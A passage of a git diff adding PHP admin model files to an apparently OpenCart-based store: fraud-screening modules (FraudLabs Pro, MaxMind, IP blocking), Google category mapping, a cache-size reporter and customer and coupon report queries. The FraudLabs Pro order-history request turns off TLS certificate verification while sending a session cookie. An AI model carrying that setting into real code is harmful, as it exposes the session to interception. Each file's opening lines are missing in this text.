+ $this->db->query("INSERT INTO " . DB_PREFIX . "google_base_category SET google_base_category_id = '" . (int)$part[0] . "', name = '" . $this->db->escape($part[1]) . "'");
+ }
+ }
+ }
+ }
+
+ public function getGoogleBaseCategories($data = array()) {
+ $sql = "SELECT * FROM `" . DB_PREFIX . "google_base_category` WHERE name LIKE '%" . $this->db->escape($data['filter_name']) . "%' ORDER BY name ASC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function addCategory($data) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "google_base_category_to_category WHERE category_id = '" . (int)$data['category_id'] . "'");
+
+ $this->db->query("INSERT INTO " . DB_PREFIX . "google_base_category_to_category SET google_base_category_id = '" . (int)$data['google_base_category_id'] . "', category_id = '" . (int)$data['category_id'] . "'");
+ }
+
+ public function deleteCategory($category_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "google_base_category_to_category WHERE category_id = '" . (int)$category_id . "'");
+ }
+
+ public function getCategories($data = array()) {
+ $sql = "SELECT google_base_category_id, (SELECT name FROM `" . DB_PREFIX . "google_base_category` gbc WHERE gbc.google_base_category_id = gbc2c.google_base_category_id) AS google_base_category, category_id, (SELECT name FROM `" . DB_PREFIX . "category_description` cd WHERE cd.category_id = gbc2c.category_id AND cd.language_id = '" . (int)$this->config->get('config_language_id') . "') AS category FROM `" . DB_PREFIX . "google_base_category_to_category` gbc2c ORDER BY google_base_category ASC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalCategories() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "google_base_category_to_category`");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/extension/fraud/fraudlabspro.php b/public/admin/model/extension/fraud/fraudlabspro.php
new file mode 100644
index 0000000..b7a80b2
--- /dev/null
+++ b/public/admin/model/extension/fraud/fraudlabspro.php
@@ -0,0 +1,125 @@
+db->query("
+ CREATE TABLE IF NOT EXISTS `" . DB_PREFIX . "fraudlabspro` (
+ `order_id` VARCHAR(11) NOT NULL,
+ `is_country_match` CHAR(2) NOT NULL,
+ `is_high_risk_country` CHAR(2) NOT NULL,
+ `distance_in_km` VARCHAR(10) NOT NULL,
+ `distance_in_mile` VARCHAR(10) NOT NULL,
+ `ip_address` VARCHAR(15) NOT NULL,
+ `ip_country` VARCHAR(2) NOT NULL,
+ `ip_continent` VARCHAR(20) NOT NULL,
+ `ip_region` VARCHAR(21) NOT NULL,
+ `ip_city` VARCHAR(21) NOT NULL,
+ `ip_latitude` VARCHAR(21) NOT NULL,
+ `ip_longitude` VARCHAR(21) NOT NULL,
+ `ip_timezone` VARCHAR(10) NOT NULL,
+ `ip_elevation` VARCHAR(10) NOT NULL,
+ `ip_domain` VARCHAR(50) NOT NULL,
+ `ip_mobile_mnc` VARCHAR(100) NOT NULL,
+ `ip_mobile_mcc` VARCHAR(100) NOT NULL,
+ `ip_mobile_brand` VARCHAR(100) NOT NULL,
+ `ip_netspeed` VARCHAR(10) NOT NULL,
+ `ip_isp_name` VARCHAR(50) NOT NULL,
+ `ip_usage_type` VARCHAR(30) NOT NULL,
+ `is_free_email` CHAR(2) NOT NULL,
+ `is_new_domain_name` CHAR(2) NOT NULL,
+ `is_proxy_ip_address` CHAR(2) NOT NULL,
+ `is_bin_found` CHAR(2) NOT NULL,
+ `is_bin_country_match` CHAR(2) NOT NULL,
+ `is_bin_name_match` CHAR(2) NOT NULL,
+ `is_bin_phone_match` CHAR(2) NOT NULL,
+ `is_bin_prepaid` CHAR(2) NOT NULL,
+ `is_address_ship_forward` CHAR(2) NOT NULL,
+ `is_bill_ship_city_match` CHAR(2) NOT NULL,
+ `is_bill_ship_state_match` CHAR(2) NOT NULL,
+ `is_bill_ship_country_match` CHAR(2) NOT NULL,
+ `is_bill_ship_postal_match` CHAR(2) NOT NULL,
+ `is_ip_blacklist` CHAR(2) NOT NULL,
+ `is_email_blacklist` CHAR(2) NOT NULL,
+ `is_credit_card_blacklist` CHAR(2) NOT NULL,
+ `is_device_blacklist` CHAR(2) NOT NULL,
+ `is_user_blacklist` CHAR(2) NOT NULL,
+ `fraudlabspro_score` CHAR(3) NOT NULL,
+ `fraudlabspro_distribution` CHAR(3) NOT NULL,
+ `fraudlabspro_status` CHAR(10) NOT NULL,
+ `fraudlabspro_id` CHAR(15) NOT NULL,
+ `fraudlabspro_error` CHAR(3) NOT NULL,
+ `fraudlabspro_message` VARCHAR(50) NOT NULL,
+ `fraudlabspro_credits` VARCHAR(10) NOT NULL,
+ `api_key` CHAR(32) NOT NULL,
+ PRIMARY KEY (`order_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci;
+ ");
+
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "order_status` (`language_id`, `name`) VALUES (1, 'Fraud');");
+ $status_fraud_id = $this->db->getLastId();
+
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "order_status` (`language_id`, `name`) VALUES (1, 'Fraud Review');");
+
+ $status_fraud_review_id = $this->db->getLastId();
+
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "setting` (`code`, `key`, `value`, `serialized`) VALUES ('fraudlabspro', 'fraud_fraudlabspro_score', '80', '0');");
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "setting` (`code`, `key`, `value`, `serialized`) VALUES ('fraudlabspro', 'fraud_fraudlabspro_order_status_id', '" . (int)$status_fraud_id . "', '0');");
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "setting` (`code`, `key`, `value`, `serialized`) VALUES ('fraudlabspro', 'fraud_fraudlabspro_review_status_id', '" . (int)$status_fraud_review_id . "', '0');");
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "setting` (`code`, `key`, `value`, `serialized`) VALUES ('fraudlabspro', 'fraud_fraudlabspro_approve_status_id', '2', '0');");
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "setting` (`code`, `key`, `value`, `serialized`) VALUES ('fraudlabspro', 'fraud_fraudlabspro_reject_status_id', '8', '0');");
+
+ $this->cache->delete('order_status.' . (int)$this->config->get('config_language_id'));
+ }
+
+ public function uninstall() {
+ //$this->db->query("DROP TABLE IF EXISTS `" . DB_PREFIX . "fraudlabspro`");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "order_status` WHERE `name` = 'Fraud'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "order_status` WHERE `name` = 'Fraud Review'");
+ }
+
+ public function getOrder($order_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "fraudlabspro` WHERE order_id = '" . (int)$order_id . "'");
+
+ return $query->row;
+ }
+
+ public function addOrderHistory($order_id, $data, $store_id = 0) {
+ $json = array();
+
+ $this->load->model('setting/store');
+
+ $store_info = $this->model_setting_store->getStore($store_id);
+
+ if ($store_info) {
+ $url = $store_info['ssl'];
+ } else {
+ $url = HTTPS_CATALOG;
+ }
+
+ if (isset($this->session->data['cookie'])) {
+ $curl = curl_init();
+
+ // Set SSL if required
+ if (substr($url, 0, 5) == 'https') {
+ curl_setopt($curl, CURLOPT_PORT, 443);
+ }
+
+ curl_setopt($curl, CURLOPT_HEADER, false);
+ curl_setopt($curl, CURLINFO_HEADER_OUT, true);
+ curl_setopt($curl, CURLOPT_USERAGENT, $this->request->server['HTTP_USER_AGENT']);
+ curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
+ curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
+ curl_setopt($curl, CURLOPT_FORBID_REUSE, false);
+ curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
+ curl_setopt($curl, CURLOPT_URL, $url . 'index.php?route=api/order/history&order_id=' . $order_id);
+ curl_setopt($curl, CURLOPT_POST, true);
+ curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($data));
+ curl_setopt($curl, CURLOPT_COOKIE, session_name() . '=' . $this->session->data['cookie'] . ';');
+
+ $json = curl_exec($curl);
+
+ curl_close($curl);
+ }
+
+ return $json;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/extension/fraud/ip.php b/public/admin/model/extension/fraud/ip.php
new file mode 100644
index 0000000..f64ab25
--- /dev/null
+++ b/public/admin/model/extension/fraud/ip.php
@@ -0,0 +1,50 @@
+db->query("
+ CREATE TABLE IF NOT EXISTS `" . DB_PREFIX . "fraud_ip` (
+ `ip` varchar(40) NOT NULL,
+ `date_added` datetime NOT NULL,
+ PRIMARY KEY (`ip`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci;
+ ");
+ }
+
+ public function uninstall() {
+ $this->db->query("DROP TABLE IF EXISTS `" . DB_PREFIX . "fraud_ip`");
+ }
+
+ public function addIp($ip) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "fraud_ip` SET `ip` = '" . $this->db->escape($ip) . "', date_added = NOW()");
+ }
+
+ public function removeIp($ip) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "fraud_ip` WHERE `ip` = '" . $this->db->escape($ip) . "'");
+ }
+
+ public function getIps($start = 0, $limit = 10) {
+ if ($start < 0) {
+ $start = 0;
+ }
+
+ if ($limit < 1) {
+ $limit = 10;
+ }
+
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "fraud_ip` ORDER BY `ip` ASC LIMIT " . (int)$start . "," . (int)$limit);
+
+ return $query->rows;
+ }
+
+ public function getTotalIps() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "fraud_ip`");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalIpsByIp($ip) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "fraud_ip` WHERE ip = '" . $this->db->escape($ip) . "'");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/extension/fraud/maxmind.php b/public/admin/model/extension/fraud/maxmind.php
new file mode 100644
index 0000000..ad2134f
--- /dev/null
+++ b/public/admin/model/extension/fraud/maxmind.php
@@ -0,0 +1,73 @@
+db->query("
+ CREATE TABLE IF NOT EXISTS `" . DB_PREFIX . "maxmind` (
+ `order_id` int(11) NOT NULL,
+ `customer_id` int(11) NOT NULL,
+ `country_match` varchar(3) NOT NULL,
+ `country_code` varchar(2) NOT NULL,
+ `high_risk_country` varchar(3) NOT NULL,
+ `distance` int(11) NOT NULL,
+ `ip_region` varchar(255) NOT NULL,
+ `ip_city` varchar(255) NOT NULL,
+ `ip_latitude` decimal(10,6) NOT NULL,
+ `ip_longitude` decimal(10,6) NOT NULL,
+ `ip_isp` varchar(255) NOT NULL,
+ `ip_org` varchar(255) NOT NULL,
+ `ip_asnum` int(11) NOT NULL,
+ `ip_user_type` varchar(255) NOT NULL,
+ `ip_country_confidence` varchar(3) NOT NULL,
+ `ip_region_confidence` varchar(3) NOT NULL,
+ `ip_city_confidence` varchar(3) NOT NULL,
+ `ip_postal_confidence` varchar(3) NOT NULL,
+ `ip_postal_code` varchar(10) NOT NULL,
+ `ip_accuracy_radius` int(11) NOT NULL,
+ `ip_net_speed_cell` varchar(255) NOT NULL,
+ `ip_metro_code` int(3) NOT NULL,
+ `ip_area_code` int(3) NOT NULL,
+ `ip_time_zone` varchar(255) NOT NULL,
+ `ip_region_name` varchar(255) NOT NULL,
+ `ip_domain` varchar(255) NOT NULL,
+ `ip_country_name` varchar(255) NOT NULL,
+ `ip_continent_code` varchar(2) NOT NULL,
+ `ip_corporate_proxy` varchar(3) NOT NULL,
+ `anonymous_proxy` varchar(3) NOT NULL,
+ `proxy_score` int(3) NOT NULL,
+ `is_trans_proxy` varchar(3) NOT NULL,
+ `free_mail` varchar(3) NOT NULL,
+ `carder_email` varchar(3) NOT NULL,
+ `high_risk_username` varchar(3) NOT NULL,
+ `high_risk_password` varchar(3) NOT NULL,
+ `bin_match` varchar(10) NOT NULL,
+ `bin_country` varchar(2) NOT NULL,
+ `bin_name_match` varchar(3) NOT NULL,
+ `bin_name` varchar(255) NOT NULL,
+ `bin_phone_match` varchar(3) NOT NULL,
+ `bin_phone` varchar(32) NOT NULL,
+ `customer_phone_in_billing_location` varchar(8) NOT NULL,
+ `ship_forward` varchar(3) NOT NULL,
+ `city_postal_match` varchar(3) NOT NULL,
+ `ship_city_postal_match` varchar(3) NOT NULL,
+ `score` decimal(10,5) NOT NULL,
+ `explanation` text NOT NULL,
+ `risk_score` decimal(10,5) NOT NULL,
+ `queries_remaining` int(11) NOT NULL,
+ `maxmind_id` varchar(8) NOT NULL,
+ `error` text NOT NULL,
+ `date_added` datetime NOT NULL,
+ PRIMARY KEY (`order_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci;
+ ");
+ }
+
+ public function uninstall() {
+ $this->db->query("DROP TABLE IF EXISTS `" . DB_PREFIX . "maxmind`");
+ }
+
+ public function getOrder($order_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "maxmind` WHERE order_id = '" . (int)$order_id . "'");
+
+ return $query->row;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/extension/module/oc3x_storage_cleaner.php b/public/admin/model/extension/module/oc3x_storage_cleaner.php
new file mode 100644
index 0000000..2d4fa50
--- /dev/null
+++ b/public/admin/model/extension/module/oc3x_storage_cleaner.php
@@ -0,0 +1,74 @@
+ DIR_CACHE,
+ 'cache-modification' => DIR_MODIFICATION,
+ 'cache-image' => DIR_IMAGE . 'cache/',
+ 'log-error' => DIR_LOGS . 'error.log',
+ 'log-modification' => DIR_LOGS . 'ocmod.log',
+ );
+
+ foreach ($dirs as $key => $dir) {
+ $sizes[$key] = 0;
+
+ $files = array();
+
+ $path = array($dir . '*');
+
+ while (count($path) != 0) {
+ $next = array_shift($path);
+
+ if (is_array(glob($next))) {
+ foreach (glob($next) as $file) {
+ if (is_dir($file)) {
+ $path[] = $file . '/*';
+ }
+
+ $files[] = $file;
+ }
+ }
+ }
+
+ if (!empty($files)) {
+ rsort($files);
+
+ foreach ($files as $file) {
+ if ($file != $dir . 'index.html' && $file != $dir . '.htaccess') {
+ if (is_file($file)) {
+ $sizes[$key] += filesize($file);
+ }
+ }
+ }
+ }
+ }
+
+ foreach ($sizes as $key => $size) {
+ $output[$key] = $this->formatSize($size);
+ }
+
+ $output['all'] = $this->formatSize(array_sum($sizes));
+
+ return $output;
+ }
+
+ protected function formatSize($size) {
+ $sizenames = array(' B', ' KB', ' MB', ' GB', ' TB', ' PB', ' EB', ' ZB', 'YB');
+
+ $item = 0;
+
+ while ($size >= 1024) {
+ $size /= 1024;
+
+ $item++;
+ }
+
+ if ($item > 2) {
+ $output = round($size, 2) . $sizenames[$item];
+ } else {
+ $output = round($size, 0) . $sizenames[$item];
+ }
+
+ return $output;
+ }
+}
diff --git a/public/admin/model/extension/report/activity.php b/public/admin/model/extension/report/activity.php
new file mode 100644
index 0000000..94612f7
--- /dev/null
+++ b/public/admin/model/extension/report/activity.php
@@ -0,0 +1,8 @@
+db->query("SELECT a.key, a.data, a.date_added FROM ((SELECT CONCAT('customer_', ca.key) AS `key`, ca.data, ca.date_added FROM `" . DB_PREFIX . "customer_activity` ca) UNION (SELECT CONCAT('affiliate_', aa.key) AS `key`, aa.data, aa.date_added FROM `" . DB_PREFIX . "affiliate_activity` aa)) a ORDER BY a.date_added DESC LIMIT 0,5");
+
+ return $query->rows;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/extension/report/coupon.php b/public/admin/model/extension/report/coupon.php
new file mode 100644
index 0000000..86038c7
--- /dev/null
+++ b/public/admin/model/extension/report/coupon.php
@@ -0,0 +1,60 @@
+= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $implode[] = "DATE(ch.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $sql .= " GROUP BY ch.coupon_id ORDER BY total DESC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalCoupons($data = array()) {
+ $sql = "SELECT COUNT(DISTINCT coupon_id) AS total FROM `" . DB_PREFIX . "coupon_history`";
+
+ $implode = array();
+
+ if (!empty($data['filter_date_start'])) {
+ $implode[] = "DATE(date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $implode[] = "DATE(date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/extension/report/customer.php b/public/admin/model/extension/report/customer.php
new file mode 100644
index 0000000..93e9c33
--- /dev/null
+++ b/public/admin/model/extension/report/customer.php
@@ -0,0 +1,380 @@
+ $i,
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, HOUR(date_added) AS hour FROM `" . DB_PREFIX . "customer` WHERE DATE(date_added) = DATE(NOW()) GROUP BY HOUR(date_added) ORDER BY date_added ASC");
+
+ foreach ($query->rows as $result) {
+ $customer_data[$result['hour']] = array(
+ 'hour' => $result['hour'],
+ 'total' => $result['total']
+ );
+ }
+
+ return $customer_data;
+ }
+
+ public function getTotalCustomersByWeek() {
+ $customer_data = array();
+
+ $date_start = strtotime('-' . date('w') . ' days');
+
+ for ($i = 0; $i < 7; $i++) {
+ $date = date('Y-m-d', $date_start + ($i * 86400));
+
+ $customer_data[date('w', strtotime($date))] = array(
+ 'day' => date('D', strtotime($date)),
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, date_added FROM `" . DB_PREFIX . "customer` WHERE DATE(date_added) >= DATE('" . $this->db->escape(date('Y-m-d', $date_start)) . "') GROUP BY DAYNAME(date_added)");
+
+ foreach ($query->rows as $result) {
+ $customer_data[date('w', strtotime($result['date_added']))] = array(
+ 'day' => date('D', strtotime($result['date_added'])),
+ 'total' => $result['total']
+ );
+ }
+
+ return $customer_data;
+ }
+
+ public function getTotalCustomersByMonth() {
+ $customer_data = array();
+
+ for ($i = 1; $i <= date('t'); $i++) {
+ $date = date('Y') . '-' . date('m') . '-' . $i;
+
+ $customer_data[date('j', strtotime($date))] = array(
+ 'day' => date('d', strtotime($date)),
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, date_added FROM `" . DB_PREFIX . "customer` WHERE DATE(date_added) >= '" . $this->db->escape(date('Y') . '-' . date('m') . '-1') . "' GROUP BY DATE(date_added)");
+
+ foreach ($query->rows as $result) {
+ $customer_data[date('j', strtotime($result['date_added']))] = array(
+ 'day' => date('d', strtotime($result['date_added'])),
+ 'total' => $result['total']
+ );
+ }
+
+ return $customer_data;
+ }
+
+ public function getTotalCustomersByYear() {
+ $customer_data = array();
+
+ for ($i = 1; $i <= 12; $i++) {
+ $customer_data[$i] = array(
+ 'month' => date('M', mktime(0, 0, 0, $i)),
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, date_added FROM `" . DB_PREFIX . "customer` WHERE YEAR(date_added) = YEAR(NOW()) GROUP BY MONTH(date_added)");
+
+ foreach ($query->rows as $result) {
+ $customer_data[date('n', strtotime($result['date_added']))] = array(
+ 'month' => date('M', strtotime($result['date_added'])),
+ 'total' => $result['total']
+ );
+ }
+
+ return $customer_data;
+ }
+
+ public function getOrders($data = array()) {
+ $sql = "SELECT c.customer_id, CONCAT(c.firstname, ' ', c.lastname) AS customer, c.email, cgd.name AS customer_group, c.status, o.order_id, SUM(op.quantity) as products, o.total AS total FROM `" . DB_PREFIX . "order` o LEFT JOIN `" . DB_PREFIX . "order_product` op ON (o.order_id = op.order_id) LEFT JOIN `" . DB_PREFIX . "customer` c ON (o.customer_id = c.customer_id) LEFT JOIN `" . DB_PREFIX . "customer_group_description` cgd ON (c.customer_group_id = cgd.customer_group_id) WHERE o.customer_id > 0 AND cgd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $sql .= " AND CONCAT(c.firstname, ' ', c.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "'";
+ }
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " AND o.order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " AND o.order_status_id > '0'";
+ }
+
+ $sql .= " GROUP BY o.order_id";
+
+ $sql = "SELECT t.customer_id, t.customer, t.email, t.customer_group, t.status, COUNT(DISTINCT t.order_id) AS orders, SUM(t.products) AS products, SUM(t.total) AS total FROM (" . $sql . ") AS t GROUP BY t.customer_id ORDER BY total DESC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalOrders($data = array()) {
+ $sql = "SELECT COUNT(DISTINCT o.customer_id) AS total FROM `" . DB_PREFIX . "order` o LEFT JOIN `" . DB_PREFIX . "customer` c ON (o.customer_id = c.customer_id) WHERE o.customer_id > '0'";
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $sql .= " AND CONCAT(c.firstname, ' ', c.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "'";
+ }
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " AND o.order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " AND o.order_status_id > '0'";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getRewardPoints($data = array()) {
+ $sql = "SELECT cr.customer_id, CONCAT(c.firstname, ' ', c.lastname) AS customer, c.email, cgd.name AS customer_group, c.status, SUM(cr.points) AS points, COUNT(o.order_id) AS orders, SUM(o.total) AS total FROM " . DB_PREFIX . "customer_reward cr LEFT JOIN `" . DB_PREFIX . "customer` c ON (cr.customer_id = c.customer_id) LEFT JOIN " . DB_PREFIX . "customer_group_description cgd ON (c.customer_group_id = cgd.customer_group_id) LEFT JOIN `" . DB_PREFIX . "order` o ON (cr.order_id = o.order_id) WHERE cgd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(cr.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(cr.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $sql .= " AND CONCAT(c.firstname, ' ', c.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "'";
+ }
+
+ $sql .= " GROUP BY cr.customer_id ORDER BY points DESC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalRewardPoints($data = array()) {
+ $sql = "SELECT COUNT(DISTINCT cr.customer_id) AS total FROM `" . DB_PREFIX . "customer_reward` cr LEFT JOIN `" . DB_PREFIX . "customer` c ON (cr.customer_id = c.customer_id)";
+
+ $implode = array();
+
+ if (!empty($data['filter_date_start'])) {
+ $implode[] = "DATE(cr.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $implode[] = "DATE(cr.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $implode[] = "CONCAT(c.firstname, ' ', c.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getCustomerActivities($data = array()) {
+ $sql = "SELECT ca.customer_activity_id, ca.customer_id, ca.key, ca.data, ca.ip, ca.date_added FROM " . DB_PREFIX . "customer_activity ca LEFT JOIN " . DB_PREFIX . "customer c ON (ca.customer_id = c.customer_id)";
+
+ $implode = array();
+
+ if (!empty($data['filter_date_start'])) {
+ $implode[] = "DATE(ca.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $implode[] = "DATE(ca.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $implode[] = "CONCAT(c.firstname, ' ', c.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "'";
+ }
+
+ if (!empty($data['filter_ip'])) {
+ $implode[] = "ca.ip LIKE '" . $this->db->escape($data['filter_ip']) . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $sql .= " ORDER BY ca.date_added DESC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalCustomerActivities($data = array()) {
+ $sql = "SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "customer_activity` ca LEFT JOIN " . DB_PREFIX . "customer c ON (ca.customer_id = c.customer_id)";
+
+ $implode = array();
+
+ if (!empty($data['filter_date_start'])) {
+ $implode[] = "DATE(ca.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $implode[] = "DATE(ca.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $implode[] = "CONCAT(c.firstname, ' ', c.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "'";
+ }
+
+ if (!empty($data['filter_ip'])) {
+ $implode[] = "ca.ip LIKE '" . $this->db->escape($data['filter_ip']) . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getCustomerSearches($data = array()) {
+ $sql = "SELECT cs.customer_id, cs.keyword, cs.category_id, cs.products, cs.ip, cs.date_added, CONCAT(c.firstname, ' ', c.lastname) AS customer FROM " . DB_PREFIX . "customer_search cs LEFT JOIN " . DB_PREFIX . "customer c ON (cs.customer_id = c.customer_id)";
+
+ $implode = array();
+
+ if (!empty($data['filter_date_start'])) {
+ $implode[] = "DATE(cs.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $implode[] = "DATE(cs.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_keyword'])) {
+ $implode[] = "cs.keyword LIKE '" . $this->db->escape($data['filter_keyword']) . "%'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $implode[] = "CONCAT(c.firstname, ' ', c.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "'";
+ }
+
+ if (!empty($data['filter_ip'])) {
+ $implode[] = "cs.ip LIKE '" . $this->db->escape($data['filter_ip']) . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $sql .= " ORDER BY cs.date_added DESC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
